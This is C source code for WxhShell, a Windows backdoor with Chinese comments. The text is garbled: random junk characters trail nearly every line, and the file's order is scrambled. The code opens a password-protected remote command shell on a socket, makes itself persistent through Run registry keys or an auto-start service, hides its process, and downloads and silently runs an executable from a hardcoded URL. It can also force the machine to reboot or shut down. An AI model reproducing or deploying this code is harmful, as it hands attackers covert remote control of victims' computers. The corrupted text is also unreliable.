  case 'd': { ZN?UkFnE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K|LS VN?K  
    if(Boot(SHUTDOWN)) FqK2[]8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZX!u\O|w  
    else { />9?/&N6"  
    closesocket(wsh); v><uHjP  
    ExitThread(0); U0W- X9>y  
    } nANoy6z:  
    break; gRdg3qvU  
    } 5zH?1Z~*  
  // 获取shell O~AOZ^a:2  
  case 's': { xN#. Pm~  
    CmdShell(wsh); B]YY[i  
    closesocket(wsh); $?u ^hMU=  
    ExitThread(0); i bwnK?ZA  
    break; Ka\%kB>*`  
  } SggS8$a`  
  // 退出 @rVBL<!o,  
  case 'x': { `&yUU2W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OVm $  
    CloseIt(wsh); pJE317 p'  
    break; U ]6 Hml;l  
    } pB;p\9A*q  
  // 离开 jE{2rw$ZJ?  
  case 'q': { l`R/WC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K-nf@o+  
    closesocket(wsh); >_$DKY>$`  
    WSACleanup(); nn_j"Nu  
    exit(1); #ab=]}2W_g  
    break; Mb(aI!;A  
        } N5=; PZub  
  } -3<5,Q{G+  
  } =/rIXReY  
w(9.{zF|vQ  
  // 提示信息 +cVnF&@$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j5:{H4?  
} XK>/i}y  
  } YFCP'J"Z  
+)fl9>Mb  
  return; ` `A=p<W  
} A8R}W=  
b!ZXQn3X<  
// shell模块句柄 ODH@ /  
int CmdShell(SOCKET sock) n(b(H`1n  
{ ##!) }i  
STARTUPINFO si; wK CHG/W  
ZeroMemory(&si,sizeof(si)); y$At$i>u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^V~r S8]gj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TK;*:K8oe  
PROCESS_INFORMATION ProcessInfo; T }X#I'Z  
char cmdline[]="cmd"; WKQVT I&A.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #<bt}Tht  
  return 0; @hiwq 7[j  
} <;.Zms${@  
 wNW9xmS  
// 自身启动模式 \dbjh{  
int StartFromService(void) @l^=&53T  
{ u5 EHzoq  
typedef struct 2Ek6YNx  
{ 2hRaYX,g  
  DWORD ExitStatus; EIwTx:{F  
  DWORD PebBaseAddress; V>j6Juh  
  DWORD AffinityMask; lV-7bZ  
  DWORD BasePriority; )dJaF#6j  
  ULONG UniqueProcessId; RvYH(!pQ  
  ULONG InheritedFromUniqueProcessId;  # a 'h,  
}   PROCESS_BASIC_INFORMATION; m[C-/f^u|  
*/n)_  
PROCNTQSIP NtQueryInformationProcess; +!V*{<K  
/)xG%J7H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u|7d_3 ::  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i=-zaboo  
|Q^Z I  
  HANDLE             hProcess; 3Bz0B a  
  PROCESS_BASIC_INFORMATION pbi; RV|: mI  
s!09Pxc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pAYH"Q6~)I  
  if(NULL == hInst ) return 0; dvk? A$  
tqIz$84G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s&p*.I]@>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ](vsh gp2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z xLjh  
l,*v/95h  
  if (!NtQueryInformationProcess) return 0; =/" Of  
\CL |=8[2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cX@~Hk4=\  
  if(!hProcess) return 0; o*\kg+8  
T"'"T]^ X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `/<KDd:_t  
UcDJ%vI  
  CloseHandle(hProcess); [K[tL|EK  
_`L,}=um'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?^us(o7-  
if(hProcess==NULL) return 0; bv>;%TF  
Ix%h /=I  
HMODULE hMod; LKG],1n-  
char procName[255]; FK{ YRt  
unsigned long cbNeeded; G.O0*E2V  
0,(U_+ n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -@G |i$!  
]6</{b  
  CloseHandle(hProcess); V{fYMgv  
gy _86y@  
if(strstr(procName,"services")) return 1; // 以服务启动 8<k0j&~J  
J1Mm,LTO  
  return 0; // 注册表启动 jcN84AaRFI  
} MwL' H<  
`pN"T?Pk  
// 主模块 d5]9FIj  
int StartWxhshell(LPSTR lpCmdLine) Y*O7lZuF%  
{ __$IbF5  
  SOCKET wsl; =A<kDxqH  
BOOL val=TRUE; &TSt/b/+W  
  int port=0; -[v:1\Vv  
  struct sockaddr_in door; O1coay  
 "=H7p3  
  if(wscfg.ws_autoins) Install(); -c%GlpZw  
52tIe|KwL  
port=atoi(lpCmdLine); R 3 Eh47  
=V_} z3b  
if(port<=0) port=wscfg.ws_port; $ # @G!  
N- ?U2V  
  WSADATA data; 3`J?as@^8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @ h([c  
}.4`zK&SB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KSuP'.l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FgNO#%  
  door.sin_family = AF_INET; W{Ie(hf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8^$}!9B~JZ  
  door.sin_port = htons(port); ];^A8?  
RM-| ?%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1fQvh/2  
closesocket(wsl); >ALU}o/  
return 1; zrE ~%YR  
} on(F8%]zE  
z}s0D]$+x  
  if(listen(wsl,2) == INVALID_SOCKET) { ?.IT!M}DR  
closesocket(wsl); _+%-WFS|  
return 1; Us M|OH5k  
} BkJV{>?_+  
  Wxhshell(wsl); HLAWx/c,j"  
  WSACleanup(); ,$mnD@)  
G|Ic6Sd  
return 0; c&3 ]%urL  
P`5@$1CJ  
} \)DP(wC  
f$iv+7<B^  
// 以NT服务方式启动 P 5m{}@g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A"\kdxC  
{ 4t|g G`QW7  
DWORD   status = 0; Vur$t^zE  
  DWORD   specificError = 0xfffffff; ,`G8U/  
VCcLS3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i15uHl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7NMQUN7k '  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g[44YrRD  
  serviceStatus.dwWin32ExitCode     = 0; K/+5$SjF  
  serviceStatus.dwServiceSpecificExitCode = 0; PLKp<kg  
  serviceStatus.dwCheckPoint       = 0; IBf&'/ 8\  
  serviceStatus.dwWaitHint       = 0; }q G{1Er  
&'N{v@Oi)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d%81}4f:  
  if (hServiceStatusHandle==0) return; c7q1;X{:  
%(Nu"3|$K=  
status = GetLastError(); ._~_OVU  
  if (status!=NO_ERROR) (X,Ua+{  
{ za1MSR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *|Q'?ty(x  
    serviceStatus.dwCheckPoint       = 0; e4yd n  
    serviceStatus.dwWaitHint       = 0; ?a7PxD.  
    serviceStatus.dwWin32ExitCode     = status; n wToZxHZ~  
    serviceStatus.dwServiceSpecificExitCode = specificError; >,y291p2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W@`Nn*S  
    return; 3)T'&HKQ  
  } *O#%hTYq  
kUmrJBh$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \^iJv ~d  
  serviceStatus.dwCheckPoint       = 0; E08FUAth]#  
  serviceStatus.dwWaitHint       = 0; "'4R _R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X~sl5?  
} b>hNkVI  
=;7gxV3;  
// 处理NT服务事件,比如:启动、停止 +b.<bb6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (LA%q6  
{ JaXT B"e  
switch(fdwControl) 75r>~@)*  
{  VljAAt  
case SERVICE_CONTROL_STOP: Ha@'%<gFe  
  serviceStatus.dwWin32ExitCode = 0; tU >wRw=d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 84DneSpHsp  
  serviceStatus.dwCheckPoint   = 0; !Sy._NE`z  
  serviceStatus.dwWaitHint     = 0; _Buwz_[&  
  { \acJ9N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U,LW(wueT  
  } j5|_SQOmt  
  return; LUl6^JU  
case SERVICE_CONTROL_PAUSE: $/Gvz)M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VJDF/)X3$  
  break; >E|@3g +2  
case SERVICE_CONTROL_CONTINUE: GRB/N1=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `$ZX]6G  
  break; Y|_ #yb  
case SERVICE_CONTROL_INTERROGATE: MGfDxHg]  
  break; lTv I;zy  
}; ,3.E]_3 xX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L)a8W   
} OKNA36cU'  
YFv/t=`  
// 标准应用程序主函数 FAfk;<#'n+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x9Y1v1!5Pu  
{ $HF. 02{|  
+wXrQV  
// 获取操作系统版本 ]@Y8! ,  
OsIsNt=GetOsVer(); b4Br!PL@G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5B#q/d1/a  
.X\p;~H 5  
  // 从命令行安装 `utv@9 _z  
  if(strpbrk(lpCmdLine,"iI")) Install(); k<Z^93 S  
@*]l.F   
  // 下载执行文件 ^ llZf$`  
if(wscfg.ws_downexe) { {E-.W"t4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "XT7;!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0; 2i"mzS\  
} :'91qA%Wr  
D*6v.`]X  
if(!OsIsNt) { j2c -01}  
// 如果时win9x,隐藏进程并且设置为注册表启动 S_/9eI~X  
HideProc(); <`i " 5`J  
StartWxhshell(lpCmdLine); X^ckTIdR  
} 8W#/=Xh?  
else ?:vp3f#  
  if(StartFromService()) 9un]}7^  
  // 以服务方式启动 z}.y ?#  
  StartServiceCtrlDispatcher(DispatchTable); seC]=UJh#>  
else eqU2>bI f  
  // 普通方式启动 VR ^qwS/  
  StartWxhshell(lpCmdLine); f.JZ[+  
mE'y$5ZxY  
return 0; ye:pGa w  
} /x,gdZPX  
e:fp8 k<  
91qk0z`N  
<`k\kZM  
=========================================== Ni#!C:q  
{e\Pd!D?|  
lPx4=O  
/ts=DxCC;  
11[[Hk X@  
reR><p  
" C,~wmS )@  
1j0OV9-|  
#include <stdio.h> \ZX5dFu0  
#include <string.h> T]-yTsto  
#include <windows.h> eQu%TZ(x-$  
#include <winsock2.h> <f.*=/]W2  
#include <winsvc.h> 0B fqEAl  
#include <urlmon.h> o(w!x!["  
k4fc 5P  
#pragma comment (lib, "Ws2_32.lib") .) uUpY%K^  
#pragma comment (lib, "urlmon.lib") B4yU}v  
*GleeJWz  
#define MAX_USER   100 // 最大客户端连接数 74Xk^  8  
#define BUF_SOCK   200 // sock buffer wI><kdz  
#define KEY_BUFF   255 // 输入 buffer  UhN16|x  
,@kD9n5#  
#define REBOOT     0   // 重启 1^XuH('  
#define SHUTDOWN   1   // 关机 mR@|]T  
vw5f.8T;w  
#define DEF_PORT   5000 // 监听端口 Z:DEET!c'k  
RO[Ko-m|/N  
#define REG_LEN     16   // 注册表键长度 J ^gtSn^  
#define SVC_LEN     80   // NT服务名长度 HM57b>6  
1+6:K._C(m  
// 从dll定义API JTK>[|c9oE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *p:`F:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #<0Yx9Jh.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,Tc3koi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5OeTOI()&5  
)]WWx-Uf'  
// wxhshell配置信息 5I/wP qR[  
struct WSCFG { x2x) y08  
  int ws_port;         // 监听端口 JYuI~<:  
  char ws_passstr[REG_LEN]; // 口令 E}AOtY5a  
  int ws_autoins;       // 安装标记, 1=yes 0=no VeiJ1=hc  
  char ws_regname[REG_LEN]; // 注册表键名 JLUG=x(dA  
  char ws_svcname[REG_LEN]; // 服务名 g?` g+:nug  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .w2QiJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Go~bQ2*'(/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BC*vG=a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _nu,ks+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tlrr02>B{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IN=pki |.  
u$ [R>l9  
}; +13h *  
wI.i\ S  
// default Wxhshell configuration Vcn04j#Q  
struct WSCFG wscfg={DEF_PORT, V ij P;  
    "xuhuanlingzhe", f0p+l -iEv  
    1, = ms(dr^n  
    "Wxhshell", Rs_0xh  
    "Wxhshell", f ?8cO#GU  
            "WxhShell Service",  }/~%Ysl  
    "Wrsky Windows CmdShell Service", j1 _ E^  
    "Please Input Your Password: ", j,%@%upM  
  1, xw_VK1  
  "http://www.wrsky.com/wxhshell.exe", h4rIt3`  
  "Wxhshell.exe" vvA=:J4/i)  
    }; (t&]u7Atr  
j.FA!4L  
// 消息定义模块 4w,=6|#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _G s*4:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J-*&&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W}m-5L  
char *msg_ws_ext="\n\rExit."; ! |SPOk  
char *msg_ws_end="\n\rQuit."; 3jF#f'*  
char *msg_ws_boot="\n\rReboot..."; ",/3PT  
char *msg_ws_poff="\n\rShutdown..."; r~cmrLQa  
char *msg_ws_down="\n\rSave to "; #qkokV6`  
ZeewGa^r  
char *msg_ws_err="\n\rErr!"; $YZsaw  
char *msg_ws_ok="\n\rOK!"; lv -z[  
1d/-SxhZ  
char ExeFile[MAX_PATH]; K&FGTS,  
int nUser = 0; i0F.c\  
HANDLE handles[MAX_USER]; [h>|6%sW  
int OsIsNt; <$\vL   
kN3T/96  
SERVICE_STATUS       serviceStatus; tP; &$y.8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )|;*[S4  
` nBCCz'Y!  
// 函数声明 n Q|4.e;  
int Install(void); FR~YO|4?  
int Uninstall(void); ?^Sk17G  
int DownloadFile(char *sURL, SOCKET wsh); WrK!]17or  
int Boot(int flag); rZRcy9$y>  
void HideProc(void); eXJt9olI  
int GetOsVer(void); >! +.M9  
int Wxhshell(SOCKET wsl); xlPUu m-o  
void TalkWithClient(void *cs); TDI8L\rr  
int CmdShell(SOCKET sock); TU ]Ed*'&  
int StartFromService(void); 6#~"~WfPQ  
int StartWxhshell(LPSTR lpCmdLine); o`?0D)/O  
6OYXcPW'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #Mo`l/Cwp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n8(B%KF  
p7(Pymkd  
// 数据结构和表定义 IOA"O9;  
SERVICE_TABLE_ENTRY DispatchTable[] = p.KX[I  
{ 9hAS#|vK  
{wscfg.ws_svcname, NTServiceMain}, mv@cGdxu  
{NULL, NULL} KTn,}7vZ  
}; xe^*\6Y  
x_9<&Aj6  
// 自我安装 *8}Y0V\s  
int Install(void) =4GJYhj  
{ `|K,E  
  char svExeFile[MAX_PATH]; b?Wg|D  
  HKEY key; 3L/qU^`  
  strcpy(svExeFile,ExeFile); =a rk?<E  
%M8Egr2|0  
// 如果是win9x系统,修改注册表设为自启动 "8K>Yu17  
if(!OsIsNt) { R'a%_sACj>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wu?ahNb.`Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AH`n  
  RegCloseKey(key); i^P@?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z J(/cD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z=%+U _,  
  RegCloseKey(key); ?fv?6r  
  return 0; qGMM3a)Q  
    } h&4uf x6  
  } a]:tn:q  
} kN uDoo]z  
else { z9:@~3k.  
$iQ>c6  
// 如果是NT以上系统,安装为系统服务 x_1JQDE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }*Qd]\fy  
if (schSCManager!=0) tq=1C=h  
{ dDH+`;$.  
  SC_HANDLE schService = CreateService <4jQbY;  
  ( y7SOz'd  
  schSCManager, :0o $qz2  
  wscfg.ws_svcname, Z4FyuWc3  
  wscfg.ws_svcdisp, b ABx' E  
  SERVICE_ALL_ACCESS, {9TWPB/>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "cjZ6^Hum  
  SERVICE_AUTO_START, Mr'}IX5  
  SERVICE_ERROR_NORMAL, M,V+bt  
  svExeFile, BqZ^I eC$  
  NULL, #QJ  mAA  
  NULL, N/)mw/?i  
  NULL, pTq,"}J!+  
  NULL, GF~^-5  
  NULL *nNzhcuR  
  ); -oq!zi4:  
  if (schService!=0) A2'   
  {  t K;E&:  
  CloseServiceHandle(schService); 7SzY0})<U  
  CloseServiceHandle(schSCManager); K#M h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g!n1]- 1  
  strcat(svExeFile,wscfg.ws_svcname);  p>v,b&06  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -Hzn7L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^|}C!t+  
  RegCloseKey(key); 2{s ND  
  return 0; EQPZV K/  
    } Okk[}G)  
  } |)6(_7e9  
  CloseServiceHandle(schSCManager); Pg[zRRf<  
} q! W ~>c!  
} 1!8*mk_R{  
20m6-rkI<}  
return 1; P Y +~,T2  
} >V(>2eD'S  
.jMm-vox}  
// 自我卸载 mFayU w  
int Uninstall(void) ]i*q*]x2u  
{ @_YEK3l]l  
  HKEY key; zF /}s_><*  
[i[G" %Q  
if(!OsIsNt) { vZ 4Z+;.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4zghM<  
  RegDeleteValue(key,wscfg.ws_regname); jIE>t5 fy  
  RegCloseKey(key); k Fv\V   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7UHqiA`L  
  RegDeleteValue(key,wscfg.ws_regname); ?97MW a   
  RegCloseKey(key); DGY#pnCu  
  return 0; o^RdVSkU;  
  } <mHptgd,  
} L1BpkB  
} ]6OrL TmP  
else { uuj"Er31  
gT @YG;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IcL3.(!]l  
if (schSCManager!=0) Wy#`*h,  
{ ->wY|7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;]fpdu{  
  if (schService!=0) hgj#VY$B  
  { j>&n5?  
  if(DeleteService(schService)!=0) { [2w3c4K  
  CloseServiceHandle(schService); 5!#"8|oY  
  CloseServiceHandle(schSCManager); el!Bi>b9c!  
  return 0; w|WZEu:0|  
  } ^a; V-US  
  CloseServiceHandle(schService); V$ 38  
  } *wt yyP@  
  CloseServiceHandle(schSCManager); qh$D;t1=  
} {#QFDA  
} |}Mkn4  
sxL;o >{  
return 1; ]wne2WXE  
} mXc/sh")X  
&o"Hb=k<  
// 从指定url下载文件 }=A6Jv(j  
int DownloadFile(char *sURL, SOCKET wsh) T.ub! ,Y  
{ :&yRvu  
  HRESULT hr; qIjC-#a=m  
char seps[]= "/"; |L;'In  
char *token; :EgdV  
char *file; CW\o>yh  
char myURL[MAX_PATH]; OpxVy _5,  
char myFILE[MAX_PATH]; yD1*^~loJ  
2DQ'h}BI  
strcpy(myURL,sURL); yE9JMi 0  
  token=strtok(myURL,seps); ?^BsR  
  while(token!=NULL) 1@)]+* F*z  
  { gbpm::  
    file=token; k6JB%m\E  
  token=strtok(NULL,seps); 8e\a_R*(|  
  } i`&yPw  
]kb%l"&  
GetCurrentDirectory(MAX_PATH,myFILE); vzi=[A  
strcat(myFILE, "\\"); &8"a7$  
strcat(myFILE, file); 344,mnAd  
  send(wsh,myFILE,strlen(myFILE),0); j,/o0k,  
send(wsh,"...",3,0); W\.f:"2qr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /<:9NP'^  
  if(hr==S_OK) ;x^&@G8W`  
return 0; EoU}@MjM~  
else ;ok];4`a  
return 1; 5B'-&.Aj+  
%c^]Rdl  
} IUd>jHp`6  
ItM?nyA  
// 系统电源模块 c09] Cp<  
int Boot(int flag) { w!}:8p  
{ um ,/^2A  
  HANDLE hToken; N)poe2[  
  TOKEN_PRIVILEGES tkp; ]`m|A1(  
m.K"IXD  
  if(OsIsNt) { z*yN*M6t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u"T5m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ls*^ 3^O  
    tkp.PrivilegeCount = 1; @TgCI`E   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @Jm$<E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); asQ" |]m  
if(flag==REBOOT) { s #L1:L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yr sP'th  
  return 0; }GkEv}~t  
} nWXI*%m5  
else { :Hd?0eZ|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CWBsiL f  
  return 0; Q]6nW[@j'  
} ?'T>/<(  
  } $Fr2oSTT)  
  else { M8juab%y  
if(flag==REBOOT) { !Z=`Wk5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  g<,v2A  
  return 0; Eq.c;3  
} 1Za\T?V  
else { I">z#@CT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P:*'x9`  
  return 0; 5yA^n6  
} #{h4lte  
} |{ 9"n<JW  
Y!POUMA }A  
return 1; 1M 3U)U  
} SF.,sCk  
a S<JsB  
// win9x进程隐藏模块 6 Dg[ b  
void HideProc(void)  h@W}xT  
{ 1GEE^Eu  
;7m>40W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =z=Guvcn`  
  if ( hKernel != NULL ) =HoiQWQs`  
  { tOspDPSXX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $u3N ',&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4uNcp0  
    FreeLibrary(hKernel); ^kt"n( P5  
  } v11mu2  
H[>_LYZ8  
return; a 3O_8GU  
} ~7~nU>Vv  
i6X/`XW'  
// 获取操作系统版本 MH !CzV&  
int GetOsVer(void) .7) A8R7Wt  
{ r ,b  
  OSVERSIONINFO winfo; /u #9M {  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B1LnuB%  
  GetVersionEx(&winfo); 8|d[45*q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4yBe(&N-d  
  return 1; Qy6Avw/$  
  else ,%KB\;1mn'  
  return 0; ( j-(fS  
} >Mvt;'c  
^2mXXAQf7^  
// 客户端句柄模块 }>Os@]*'^(  
int Wxhshell(SOCKET wsl) N}dJ)<(2~  
{ pg>P]a{  
  SOCKET wsh; -9aht}Z  
  struct sockaddr_in client; 'm2,7]  
  DWORD myID; *K+*0_  
G %#us3x  
  while(nUser<MAX_USER) F5MWxAS,>  
{ $iP#8La:Y  
  int nSize=sizeof(client); ZnJnjW PQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x(t} H8q  
  if(wsh==INVALID_SOCKET) return 1; '6xn!dK  
VS}Vl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =} vG|  
if(handles[nUser]==0) 8L|C&Ymj  
  closesocket(wsh); ,$}Q#q  
else _aD x('  
  nUser++; M.IV{gj  
  } Lqch~@E&%#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); . }=;]=  
Jx{,x-I  
  return 0; o<g (%ncr  
} +6;OB@  
Wc]Fg9E  
// 关闭 socket R/b=!<  
void CloseIt(SOCKET wsh) qy-BZ%3  
{ 2XXEg> CU  
closesocket(wsh); *uv\V@0  
nUser--; { j/w3  
ExitThread(0); O! j@8~='  
} V!Joh5=a  
+'KM~c?]  
// 客户端请求句柄 SjJUhTb  
void TalkWithClient(void *cs) I+<`}  
{ *}v'y{;  
B[$SA-ZHi  
  SOCKET wsh=(SOCKET)cs; Lte\;Se.tu  
  char pwd[SVC_LEN]; F;_;lRAb  
  char cmd[KEY_BUFF]; pD>3c9J'^F  
char chr[1]; J`x9 XWYw  
int i,j; %2L9kw'  
}BfwMq4E)n  
  while (nUser < MAX_USER) { aSK$#Xeu  
##n\9ipD  
if(wscfg.ws_passstr) { P,%|(qB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .9ROa#7U;n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @e Myq1ZU  
  //ZeroMemory(pwd,KEY_BUFF); *Zc-&Dk:Ir  
      i=0; h5Z\9`f[  
  while(i<SVC_LEN) { ZU@V]+ww  
!PQRlgcG  
  // 设置超时 un /eS-IIh  
  fd_set FdRead; brVT  
  struct timeval TimeOut; :heJ5* !,  
  FD_ZERO(&FdRead); (*;u{m=  
  FD_SET(wsh,&FdRead); jG^~{7#  
  TimeOut.tv_sec=8; ze ua`jQ  
  TimeOut.tv_usec=0; y7w>/7q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^{Vm,nAQqs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z g'[.wov  
2 43DdIG$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "*T)L<G  
  pwd=chr[0]; [cH/Y2[  
  if(chr[0]==0xd || chr[0]==0xa) { {otvJ |'N  
  pwd=0; '*-SvA\Cx  
  break;  I&v B\A  
  } ~kHir]jc  
  i++; ;zOZu~Q|'  
    } Qz<-xe`o8]  
tT v@8f  
  // 如果是非法用户,关闭 socket E?zp?t:a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +|0m6)J]  
} 49#-\=<gt  
iKK=A.g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3a5H<3w_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); givK{Yt<B  
4-"wFp  
while(1) { Mfz5:'  
F?dTCa  
  ZeroMemory(cmd,KEY_BUFF); 980+Y  
^*r${Nj  
      // 自动支持客户端 telnet标准   '|cuVxcE55  
  j=0; B8nXWi  
  while(j<KEY_BUFF) { q"cFw${  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |z4/4Y@  
  cmd[j]=chr[0]; H}@|ucM"\  
  if(chr[0]==0xa || chr[0]==0xd) { 2KG j !w  
  cmd[j]=0; L fi]s  
  break; }E=kfMu  
  } tyDtwV|  
  j++; 9w(j2i q  
    } K1hw' AaQ  
C VUDN2  
  // 下载文件 A1@-;/H3  
  if(strstr(cmd,"http://")) { -Rvxjy)[N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YU"Am !  
  if(DownloadFile(cmd,wsh)) 226s:\d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &l.^UQ   
  else @N(jd($E  
